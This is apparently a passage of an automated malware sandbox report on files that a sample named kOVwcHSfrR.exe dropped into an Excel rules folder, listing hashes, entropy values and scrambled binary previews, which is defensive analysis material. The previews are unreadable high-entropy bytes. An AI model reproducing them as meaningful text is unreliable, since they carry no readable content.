Preview:	<?xmlG.{v.K.P..&..N@.N.....#$s\+_S.....A.b.P6..+..!\|.L.?9W..&Q.....'&#....4~d.KF...5.I.P.j..\-.Qi.w......Q......>...V..q\|..;..%.*.'...N...K...nl......Csn....g...X.`.m_M....SVh.3....._.D....j..j....u... .W.......-.."z`...#3.i9.$.}?k.Bt.I.....~..B.6....{....:.....\....n.+i../Q~Ss.....Z.a..@.....si8.u.X.n).o.R..@C.f...h\|..Z.8.}.w.Zm..j.O#S.4...l6ffC..4g.....K....ohkR.eE_....2.b=...S6r..D].{..Xg_.G....".i..Y.m"...R.ciKR.K.$MR.-...#v..t..+..j..}.....K....'s....9h..F0...?....b. .h...O..-.I.D[J....C...........7...8{x..L......w..]....#...7....>...._....d..^YAbt.H.I\|\...\.8F/f.Y....?.Q.t...2.n%..u.cF....MZ..[...'^.:.`......8.C...}..n.T8...E....{..Y..\|.K..1.5..../S}.......Ad...........TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.67293203602161
Encrypted:	false
SSDEEP:	24:ExZcqs8hvjsNW0r1kS8M2bhpMYNNBlw1bD:ExBZh0W39LbwYvPyD
MD5:	321DD1D07CC72635E1AC287FA5C70940
SHA1:	4141577DE23C4AD374DD3FF037C1B3AC4E3F8427
SHA-256:	F0CA58901CF399F77E50B40421B36939D2F3D3F4E752D2E624879CE076DA3060
SHA-512:	175E0D82C3F0C5EE092565AB3DE71A15BCC734B54E7D53A43E1BB904DB734A94A5019EFC5E48E4EC6993AFC1159B1AC1D362A2F65728A1433A80B931F546714C
Malicious:	false
Preview:	<?xml....\;.{./..nl.;\.T.>i.....t.a..}N"ra..c..."~x..J.?...k7.O.e.md...N..k......Nw.+;.MA....O......2\zG../.{C.....%.u.F../.]6..M4......J."...Av. ..dP.z.u.UwF..~.a1..5.......{$.98 Z.w.P.....[.\|X.<..F.t.9... :l....~..?r4{V..;.m.v..O....`.......O...=$....MM.Z......$.....m.......Q..\|fZ5..^/.`...8...q.......o......9.U.1..}..5.F.o.x.X...9...cL.....<={%..Q\.2.B...I.\\|..T.<4...5...0!..Z....#.q;..bA...Y;(...4.v.\p.1..N&..#..b...%..)...f..d.....]K..r4.%.n.`...T5M.}bj.....a)_X..QZ...].J...i?1{c>.....[.qTY....U7...%JA.....N..8.y_..C#.+.mz^.w....).RF. p'.zH..q..}./o..$..=....;F.f..u}Q.nh...R..U.(....V`...h....q..\<..?.....~).B.k^..G.Crd.<.~P.....T...zL.`...);....V....dq./.Zj.,N..U..&.l.d&..m.G.....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.738040892875918
Encrypted:	false
SSDEEP:	24:hv5vF+0IcilvxFrnMtH62v81RIjq7ettyDIa4w1bD:hvm0Ici9xWtH62AuwetEH4yD
MD5:	F178C8305F2F094A0F46152B677FCD9E
SHA1:	48509FD8C567D60EDB086FA7CFD8EE30AFCDDDB1
SHA-256:	479D6FBD6BD0847AC0AE800E46FDFD8B33EC781128D2316CD19B4BB80BE5F652
SHA-512:	3A104098E7918AA2B253D6CBA309C77F372558F1ADE20D5FCAE4464C92E1FC75CD27D90F02D430803276F7EC2AED6A6AB365BFE35DAB3CB8FA447EC92AAB17C1
Malicious:	false
Preview:	<?xml..j]m..\|Pt.2..$lX).W........9.NY5.0pW-........gM0m...h.a.j%..>{.G3....~.c.....\|..h..E.....X ./.mq.....u.G.p}+Fb..m..^Kj........a.n.hr.#&....-l.....}.>...ao0F........".1e...~n.(...l...{...5.....VR....&y.... . ...>r.......B4.;.q....cx...F `t..8........j.r..&.b.#..Ma9oQITm.\|.J.7N..o.D.x....8 ."3..m.\.{c..<...,m...!.9....6 A..b....#....]a..R......ht...P..<.C.R.Ap.:5.%2.T..u>.i`Y..\...\...X..^.g.B.....tvQ...Oq.:$Z`.K...@...C...j.+.Z.'.......{.(.".{....I...c...o.p.....N...hun.{/.:.h.^5`.lNph.b..g...mZG.2.....P..0/:b....B.c.T.....{c..Y...;U.!I...K.-60..c.C.O..B ..It.$...x.\.X[.{J......=.........Q\|.egV.$...f{z.p....v..z%..M..X.4.....C....x..3P.............`.V..b.c.5..,1.p...a......W*.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.707746067153708
Encrypted:	false
SSDEEP:	12:orsWXXFaKGlp0ry3QGhAw3MBoRn/yFvonEDe1yQm9r7oqw1cii9a:orsWXXFa1lp0Ohhh3JKdon1MrLw1bD
MD5:	D1F9DD66AD85C3276051EB9088374CEF
SHA1:	658745F49958CC3CA91B6C79D953F4D8CCBA6115
SHA-256:	9C00D760D9B26DDDE343501DF746D5DB5E2C76F3F1BB032B2AA64D19FFD60EA5
SHA-512:	81DE116067658B62CED759914252032D8AAE0C79B0BD9174EA88F2FAC92940271BE1E7FE3297783D11DA322FF40BB8180EA4FB26E9D8AB2E64FE3D1A0D506266
Malicious:	false
Preview:	<?xml..{.U.:...Pe..J@..<....X..J(.7.D.S.(.{L...x...+..m.W...A~.$..!....V=....._..;.O.!..-5U...&f.T.T.n.K...$..O....D...5.<.....j.....1..4b..@..E.v....\|.k....R..D6d....aw.i......)q.Szh.....N..3.}..9z?_.",.#q..I5..$a.@$..]....O..m........vuZ....s...,.,8...A>...I.4..A.r...W.V.....[?..9.].7...>.\(Y....l....X.....[.w..+.o.&2\_G...8...p..{.mV?.X.[....\|.n.iw.v..H...Q_...].q.g.e..\|.+--.G.......?M..(u.L..dK..T..>;..x...b.D..@..%P....#.Q.B]}L.tv.!&,^....X......h.4H}m1{...K_\|k_H........Z....(#T..P.[.[...6".M....YW.......(].$...lj.w.J.E.......n0...JZ5.KP.et.$..D&....UN!\|.{."..k.si....X.e..O. ..'...#B.?..N.$...&..!.w..p=.... .i.-M.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.712773754705969
Encrypted:	false
SSDEEP:	12:03j6mkOM5qqgcw7WMR7AKQhheJ6CL2VPflFxPPtgk4O61uHo+GKoqw1cii9a:K6mkf5qpcCWCEveJ655fgkT5w1bD
MD5:	B4B17794BE99B20216A45007906867CB
SHA1:	B03E7A3097BD09857C239B5C18AF62B749785868
SHA-256:	083610D3A51A7799FF394CEE5457E48648D40576906C648392B7FD8DCAC6F25F
SHA-512:	D3856210271F54171EE80FC4B43C5FF4031EBC4EFDF4AF53842839B65EC8608BFD90911220CD7FB5AA962010CD37243AE86A63243CF39177AF350045DD92C085
Malicious:	false
Preview:	<?xml...Z}..Q. ..\|{...ze."5.F1w]&..z.K).?....@5.B....a/..v..BI....#.i./..6....84..........`o.M@.2....xNW.@Zv)...j.WY..0.....\\|fr89..L...?QS.....>...!.\|......a.s./.H".0O...<...............#..g.<..br@.../...q....#.'.N....-.+K......] .o.38..L.$L.e?..m.[.p<a...'b..j4.jD..v.t.&.DB.w.Fw...v....B~...jNPO.....t..].0]...15.=.wy.<V\.aT..l......8......;..,.(.7W..... 3V......Gh..2[Q..(.._.Q.........+E....<?....6Vc...i?..4"..&8.\|...y....F....e..@.v.X...ym.f/.N....Y.+.W&v.....{#.W.....'....96.........2Z...%..}.. k....;]#`...>.iZ..j...&.....C.%.P.....w..iyL>..~...(.X...f5m......@..@..R.G.p&(.3...m._.......+j...4.FOW.ab.]....BEh.....n...M.0.C......L!Tn.1K...GZ%R.X.5...!._B....q..L.Q1\.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.68647785014534
Encrypted:	false
SSDEEP:	12:SvRQdHdC37pZ8uX/X3ilpxP7NweW8PprYEOsjXkFwZPAqwoqw1cii9a:YidHd29yuX/X3Gn72eW8Pp87sWiww1bD
MD5:	88BBBAC1607A1855F521B9A0D6B549AB
SHA1:	11772B56D4BE3F30536BB963AF1EF1987D2EE7BA
SHA-256:	C864C3F7AE5D347A4BD71A2266E88B000F81489E170DAD41BECD62840DE5C4B7
SHA-512:	309B34B846B9B6FEF96679F9CF2D1C39EFEA153AA5646C4594C5DEBB8798436F0C4D36F3EDE5D21805CA60936B5A22FC04BB7C3E16C5B73C79FE160956AEE5F3
Malicious:	false
Preview:	<?xml6.Qa.8..........UN.(..jn..{'Iz...:.Z.0VN...N...1..... ......VLCs....PW..xh.. (ic.O.....R.x........Q\zi.n?...!..+l.)..+...o...v./......D1U3.q..1.`......).x(.$}M47.d....A.yZe0.~...b..n.}.b....H../M..?...O........h......0..@>..N.......a.....z..u...? c= ...t..\|f....D.+........w...n.Hf.}..%.g....3.....h(....RD...WE.....:..46F..H....L.._KVQ..r..d(.)7.Q..U.Mhj...#...`.._Z.;....B.e.Z.9=.I.r......iD{...l....U.dc..H......../.D,.d....e..mn..S#Z....2..3\|HQq.F.0P...w....."....E!8...%..,.Z...\T..f.h...+....{rq.L...\....]..^...=..K..2.....x.-h...#.F..2dU_.S3...<......MLsf.W%).$..5..1IR....sz.(t..g.F..N.52...=.B.../7Q.\|.?..j@u7)../\..VU..X..g..i.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.755633659440511
Encrypted:	false
SSDEEP:	24:2nefj8z2hVGjIvVqeGX+28wHylpCPdnyXGmpcPEl2fxw1bD:2nYw6hVGjKoeF2AX6YGmpexyD
MD5:	F6DB2D8CC366CFA5D9BB9D1ECAE447FE
SHA1:	0027EF533205418E62D709E3FF5A1062C7149ED2
SHA-256:	F7BE5B2786F5394454D2BF633FB2907F13575140EC8EA2676601B05C48D38CE9
SHA-512:	8F8FF492E8A9568561C3593FBA229C9FC0AFF929FBB0C9127A3AE0DC52D34CA27610AA3354DCFEC43B6EE3823CE7357031206C3F1895E6E02F756BA79F2E5D90
Malicious:	false
Preview:	<?xml.4.....aQ...`......g...+.n...N..;s.d.....F......G7/.C..v.ZQ.......(.....7..v......Mu........T......6..U$...$}....O.....Y.\|...9....@4Wf.&..zV..h...8....."...p.E.?..y.(.u..Ha pkN.PB.!.}..5P.dM....l2.\c.B..#....iF?....Z...v.v&3.N....i......SgyKZ...f..zZd...]...."..N.1~<..i..=#&..s-i..R=..+.>5u.]m..g.+..~.N.No...y..2.=.......s.y...g\|(x..F..@..;...N.`.......#K..Q.....Td..x.0.^...'..ec.q=41V..p..n...uZ..dK........d..:.....=."G.I....e...hB&BK..`...dkp......k.o....8.;3.8O.%...._...m.\|......."J...D...Yo2A.....w.N.t.y..Y.......$].V.!_EX.,.$E..:..4.s#6.J!.y.t.p..E.N.\p./........]4..y].`..7....;.u\\|Y-...k..ULs...t...!./#.S.j..G ...k....`.&5....l..E..^..yV.i8.(..{>!...!)$3d.`xj.}.\|,.I.{u'.>.r.P&{......3.V..Vg.8DTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.722036506658244
Encrypted:	false
SSDEEP:	12:syNUXUMd7GoIMl8p3UFKIH/sk0vwzg0bXu8OzB219npqdghBSXFEdT5p/Vxlet5y:/UXUGmMl8pkwg0oPSzE9n8i4XFEzJVxR
MD5:	8C798243B2EBC1D9E11F47A700A03FC4
SHA1:	E71E084B908B024F7A7196B4408B6CC014076505
SHA-256:	0472C1A02AEFA2A2A23D7C230A39D304C0CFD9DCFDB0C0E570800A9A6932EE20
SHA-512:	52BB9B10AA424E6FA613A39EB3FE6C89322174DE7CD16ED593E4A08276DCCF35B7F42E5DEE33BB02D33BD1A35A582A27352BBD321B4E3B4117AD89DCCBF77166
Malicious:	false
Preview:	<?xmlQ........DW.....9[...OI.V.c&..).M.?.p..KF..}7..*..;.E..z..k..sY'\d..P..... ...s....q...qhO.4d..........j....x:%.}P...g.@...P.IX.M.s.A..w..)_.O.d}+Q.t...1......V.#}..N.J.$M.#h7.f.......1\|B...B..2M4.....I...W..F)..<S{...XvY........`..O.....p!..3o '(.V...iM,V....B....TZ.}l...Yn."..6u.6..}..Pxp1?0.K...L8...Hi....e.........W.....9'.0....].E.u1w!Sd..3c.(..\|.....hD.........n.~.V..u....#/..\|........a.u-...q......%....TG..x..g$Gy...g..;L...7..HS.1.......?<..#..y.......i.... _..%.b."3....[...n(<...D.U.6..b'?{u<....)..J.....XO.(..x..It....&J.[..w................z.W3.L.....7.....,2c;SA...ki.....-;.:s>.a..N..o.j.>...Y...~.GTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.679156095650925
Encrypted:	false
SSDEEP:	12:bCqblQe62+xLJNR3GvK7WdrNt++aEXXqf4b2BNaxPmefbe+5eHeomY12moqw1ciD:bpR4VNRWi7WdrVqgeaJmefSHeAY2w1bD
MD5:	3C3665201F72A4238080DA75A1964BD1
SHA1:	7A977697E92C7023B6DA0F50BF55C5E9CFB14F3F
SHA-256:	5B4C4AC78C866DC8E09790706EFACB1C36B5D05C25F5B05B97A9C093D6B3A924
SHA-512:	FBFBDF3797F24E5730E408ED1A694240769877E79631B84238E27C82ECB62B06D35CB4AAE3588B5DB499E7265F84F60F1D919B677AC9881964C5AAF2EBE6AB69
Malicious:	false
Preview:	<?xmlT"Z.8..ei:$.Q.L8........C..8.[^..V;..ZS.........fHw.LE...6UdF...o......#..3..v4.h9..nm........UQ(]....].g...V....I3= h....m..'A4i]A....~-~.....N......2z./e=....X..F.A..Y..q7.....M..C?.....&^+x...D?..0.:>....^...>.......q.4...-P...w...mj8...3.[Eb.o&.....36....6.-.)r.......Sk.>.{M.b......Y.psb...m%..>R8.....OB.Aa..p.{...c...Gy..y..?3.QFh.Z.'...'...b.^...(...B=...Q/.G.e..A.+...........4I..TPq.v.x....1..~....l".u.}.}H...n.Q.l.FI..I.D.?....!#b!$a...G.8.. T.S...Z..2.....>....wxW......&....G.C...y0...'-.I..../...!..XM".3'.1V.......b3<[#.$%...?..8.Yc.jCc.{7..U..l.:.f1.F0C.\..=.D.........o9G3E.)..P.m...F...@.b{:f.B...).>.".......T4....8/6_Q.j3.....T<%Qej..[.X..5>.....G...o.*..56G..M.8.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.710642065856888
Encrypted:	false
SSDEEP:	12:H162MohnoOYzYFbF9is7PcuEeLYASlz3SCix1UAxcwIbG+ICmsoqw1cii9a:Vv7hwg8gPcuEen3x1Uh3rw1bD
MD5:	0755F4ED10A1442B987D1EA38C65FE81
SHA1:	B464182E8817E7F5CE790E7BB8AD946774D2BCD5
SHA-256:	49137133F0FE98070B3469D1049711B78064B390659075F0A3273A683E597B2F
SHA-512:	585E22D07F645F85161F965660FC2ABE1FB50928F103B4AEBACDFA70A527773DE5F0CF7EC6A1E10821081DE910B6035FB8526D7AB9863646749DB835BB8842ED
Malicious:	false
Preview:	<?xml+..U....Y6$?.v....[;[..H..&....Z.....x...-.G..,.>....u.3.zo..B...@.......1.H.}...(.2r....)...QX..].<..6-...X..d.x[.k..".].....AgA.zv.=.q...7.\|...5H.......b.....6....V+.1.t......g...=...Hr..\G...`...~,..<.v..Z<;.%.ri......H...z. ..q.J].....).s..-..d!.P.;..e....2r.(}Ma....y.k..\...W..Z..@...%W[.z._nyZ3.asP..'...A&..."8u..4).n..d.9+.1.3..e......hz...,.%..k....g.#....je.~..jm.h.jCc.ZK.k.~"{.!@.....q6e...Jd.e.b..O1...<.[...T.\|..T....\...v.&.H.W3..3....y'..=..RL*..w.Qd...\|..>.<1............?s.Pr..-.Y.h..l....8..2.)N.....<x.b.-.....x.K.a..zW.!..:.[y-<8.....u.m.;.ZG..6.z..$.7c...J0..[...p?R... .1.{H..y(.-X.t.....k.. \|.}..+ M.~.....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.6827472203014775
Encrypted:	false
SSDEEP:	24:QC4A7+DnUAYFqRHYzfaN/IITKXm+tSYw1bD:Qa5AYElefaVIuK2VYyD
MD5:	F407F7CFCA1C2EEF5400F4E0BF114845
SHA1:	E8550956BC8E70794B21000934B898350B00F3CA
SHA-256:	6E252D050518C53A0E0825B0221B2E869CB1E76A08B65438F076033BFDB3D7A8
SHA-512:	F687BAEF1ABC40D348DD979343BD10D97D7FE2A9AD5069D0617C194436C19527BC094311E7836B2705F6BA2B81CC220DBD39CFD674C66472627FE5B5CA4C6C33
Malicious:	false
Preview:	<?xml-av.........\|........Zd..R..".?..P..?....C.W..&..?.../...C...Q.=<.."[r..f..wKhs..V.O2.7.=.j..k.>.......S.......J.\|.2.s....f.....L.W...k.l....#...}..8.!.....NG.m&6.9.}.].<4;.PR..cG..A..P..BU...Vh9.o@....G.\|...M].B.Gi....q.e...w.........t.n...._.".k.h...{..c.z..Y.Z.i....u_.P..t.oF..43.n........i.z...xK.....a8.2-........c......#@stu..?\.X.=..e"Ai.k.....z=..-.$.C...M...{......Z.f.$...F....`.\|...\|.N".u...........>..%g.6M....%.J;....2.zk..N..E.a.\|].gkX..#G..v.."..<.Uf..y..U..Ca8og..ip.#..dV...}.vS..(v.AR.;.U\|`....g....z....V.......ur.!....#.1..<..:C..-..y.{...G$..!.....E=Y0._..!.*.....U...R...~S..S.Q.5.z.7L..@.Pu.........R........f.G.o.[..1.q.Y....U..0....>N.:L....gD..h.v...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.733917096204839
Encrypted:	false
SSDEEP:	12:RstbFj1ef5ge1VZcwi+CU//NE+RuUJ8HcBLtO8ElCoN1mpXgWepeBQeoqw1cii9a:MYfv81Ue8uUJjg8ZmeXOedw1bD
MD5:	8E03FDD3A5A445E2D6DBFDA5B1DE5E6A
SHA1:	C29F987AD5A4FD77DD271F14BF011F5D163FAF4A
SHA-256:	A34CC2F731F9A9342E6F7C334AF46B9A14C1BBC7DDC3A58C7E5D5CB009C88E1B
SHA-512:	DF913F3D9A07765BBEDA2866EB8EF18E9C151D5697EC9C051671FF7A6445FA7647D175B2C2075BAB7FE14E006028B5AB243C2CE2268A8BE01088D4A8573DD60E
Malicious:	false
Preview:	<?xmlN.x2[..%{.G.d....t..G..{.EF..l.'..Ei.k.~...7...../<...b.)....'-O.....NF.y....AT..x.6.....M.b........y...d....{a3&.=....p.}t....ZK..U..I..V..L..Z..b....av.Y.n...O..P.t6..5.p....H..k..o.L.w].>O....I..Q.6.;..YJ...s.1.e.;.....z.v.......=... v.r...\E..U.......}f.......F\......<.zD...Qf..CG....=...c..J._...U...E..........CJQI..)..a..W...!J;..H).4@W.RJ).......[:.Y..._...ff.aKS....%...)....P..C2vl...}..."1...N.R^...l..............&.3...$.$....u./.>ac%.PD.t...C.sf.M.q*......t}#.s...Zpi.h[$.Yk...#k..^.V8.._..R1.b......E.xb..T...G...e..E........?.c...e..g....!.r..<..p4.,.1..../..X8.....eAx."..f...E.I......K..1'.......a.......p6.)..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.710498481904251
Encrypted:	false
SSDEEP:	12:KXRcR57V9M1qkYAI92Rsr/GHwzPt7gJYxHclnkXVXARxlC+t/2oewoqw1cii9a:KBcRdDeyAXsrazEHclkXVw02nw1bD
MD5:	61477BB65A2970BB2A32E1B0232C50CB
SHA1:	2F6C7AFF3141D3408BBA3FC6443147A4125D65D4
SHA-256:	CE56FB1E7F455B481381C3652525723493FE839CC4D8A469BDE5FFEC76306988
SHA-512:	E1DB7A7F92858FAB779BD73CA9E7241BC0E45BF5856BEBABC1D62464503BF2F9A565917ABD786C128A9D5327C0FC557648732A5CAC402F9AFFE269C798FEAC6E
Malicious:	false
Preview:	<?xml...{.d..........0...1...g..8IC..(7eB...n..n.....2...mt./.<L.3k.;.R.?.i.x.'f&..P}XqA.. ...z#.@-i}U...hL.=[{.&..e.'...?J:B.......\I`.............B.Q..5E.....?...+.\|...;...3..P...........n..o..t.' .t..z....@.:.3.2.(#..-F!.......w.....) .)z.v.i..I.Kdp.5......U..6...t.D.p.=....&.Uy\9..(}...:.#...v3...MTF..X.j......%..L..'{...U~l......0.m..q............#.1........ .....k6...T.yn.......?B(.43m.&`..uf.Z9..<A.4.C.(..>...U.....myH.H.v.r...G....2<t.Q.WE.........R%..^...O....b;.F...4....>4G.XB.,<e....9.r.....w.....g.;.h..M"./..y.xQ...).G...v...S.........M...Nu_W}i.. EB.\...!.4.....\....g..>...4.?..d..M.".3_....v.t....".vL.`...?.....sA!jJ..2...%.\|.K.....A..I[M._...6...n...]....@TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.750579144414483
Encrypted:	false
SSDEEP:	12:42V7rjijFDGSUrwDHyygcg9sHuV+u0hHRBZYlFQMfFHzJAbdl7t3xypsutZPURQo:44s8SUrwLPg9sHuV+u2ZYf7wdhiZPCOc
MD5:	01665896A3A9BC1137B162C7868892BC
SHA1:	178AC06DF793704F4CA515508E30572EB43FADD5
SHA-256:	22BD5D1385619DF9CF43F60CAB60CC96462E9615F681D92CE58A39DBC9ABF47F
SHA-512:	33A3AE5F3CB3397E4A0BB3FEB296E01F3D83B3827A00DC997CE0193ADBF95508E4CBEB95BF79D47E5E51A9FD32568309048061D684D9379CEB8A99422D8079D1
Malicious:	false
Preview:	<?xml.y~rjg..L...(....f.!...W...kf.......r1_H.e.!.E.M.#Z.......G.Tfc...@.$..[}...h.#L..A..\G..@..~..#@..,m..'.F?..h..f.>pB.....2..6d.[.o.a.+.v..B[Q.q..peo-.@....{t.q./..DZ.,....E...\......zn.-..e..w..3P9;.=....zq..6x,.j.....fF.q..4W%...r.!.%Z$..%..e%_.'. .c4 \|@e_..ZE......\oQ....Fo....w.[+..:g.?B_....g....q0.....CN...5e..]..eR..3E...c2s<Z....q=E4... ....)zU%...]p@..0...v....4;S..C+.w`Z.U.....bs....J....@..d..<."..5Q.......m..xy....p..V.!.A../y%.AS\|.y.O~BU....~.8#j1....p/..Z.).@~....7O..."+.J._>.<........?....Eq...^...N........i.......l`V.t.,..K.P.x.O..bSm..Z...<.X....@.......V..3..tm."(........1.0....7...d.5`...N...2J..K.T.d].*......M.iTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.717500591829615
Encrypted:	false
SSDEEP:	12:eDl/Qe1jNsDCkOe2TPzZN7riWlrZJr369XJueh2MXDbIbk6fFRfkLEVp/bV5i3UX:AZjBaDCw2zZBiAgZyTIEF5kLk3D8w1bD
MD5:	AF0E9478F816A8A453408329F8A70141
SHA1:	8AA9CB3D5D8487340526DD2F7EC12E885122FCDC
SHA-256:	BD95D8C655E65F98B636AC1CBA6F021F46C945AB5DACD8697FADBF3976C895CD
SHA-512:	6B54A77BA4CE775ED9D63082E7FF3679D33C4E3761337EA199E5507F02DAE292B6A26CBC1AC076A219505300F63B708125E1876096D391A85C0095759F680ABE
Malicious:	false
Preview:	<?xml.kC3..g$.....UcA...H...<.F.w..<..?1..D)......._Y...c..d.wa..:.>G>.s.).f..V..../.>..........2&T..5H.....K....0..&..e....t.2.1.....x.3........#.Eeb..#L.K.6..iT...wA..A.......x......!....n...}{..u3...t..wbV..f.........V<....&.1M-]............V.L..[......D.."v.q"Cq...AM.M,.5..k..4.......g.3.G$.\).u.....a...0..WF.n\|._.t...r...-..x..Mc..P.C}U....m=<.X...g.S.9..=P.N.......g'..c.X..+E.N..6.LP8.>...C.e.d..f.%......l9.....T`"z.[0Pck.u-.t....P........9nc.....!....V......w....fl.=~>.\|.`z......~.c.d......wC3..e........N.A2.LF..qC......]?3.rM_T..."...u..r'...olE7.c...../S....nTr.....)......6.M.r(.9&n$Qd.'...p).^.=....{........EJ...Ll.'..V..{K.`.G..#..y.....f.H..p.O..........Mk.^.....g..S..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.685059992910079
Encrypted:	false
SSDEEP:	12:P5/f4zAEYGoNESR4Hq9USBBLkoiPHo0JcZUUmh11ymj+GkwbODcjbbVm3CVM9oWK:P5/QrWtR4KK6woqhOBmoRGkwvVm3iMS1
MD5:	6FF208CD6120D9B8D2FC04E91FC86AC2
SHA1:	EB7F64843984173CBA5C189EC1F7CD77E16FFC26
SHA-256:	83E89D252D01E182809BB83D58EDFFEB1469B1AA316FCECCE0C7BD3FD61A2909
SHA-512:	3CB558225834963B680815C3CA4D0223B672033A6F03218A4A745C9724708A5D48EF66FD5AF7553963051A7E278349CA0CD29DDEFCD9D6BEDA2011566097BA87
Malicious:	false
Preview:	<?xml3....rn..w.5....7....v..2.....`n.......(w..s....5.'t@...z....:5n.q.b.!..(.wS...c.`.t4}y....P.d^...5f..FB4.f......u\|..\|z......T.sH...Z?....v...!".A.X-{..K4`.......X?.0....<VC..._...a,..Ao;a.x.iP..-\| .=@,..-..uC4j[.)u]...5_.@.......j..D.H..rn.u..?b...y..Yg..2;BR[..W.G;..X.\|.I.s..CK.....&..k...D.....P&1."E.o.6..t......G..O....)i.Q..Sr.8..I...gYb....4...\..H.r..1..-....i..S.........O....:3.5.D..,K.5...K..5.u.....`..q&..9j.....,\|.../Z'.......;M{j..q..c..i..Xi.y..u......N....k........v.u.a...G?.P.......'..`.p....K]..3C....&.e..[...J.7.....o\".8...$...8GrG./.......S..cu....g...`...g...C..<.0-.'.ZU@L...,....LD.J.).:.a..`..'..!X...@Ia\|..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml

Download File

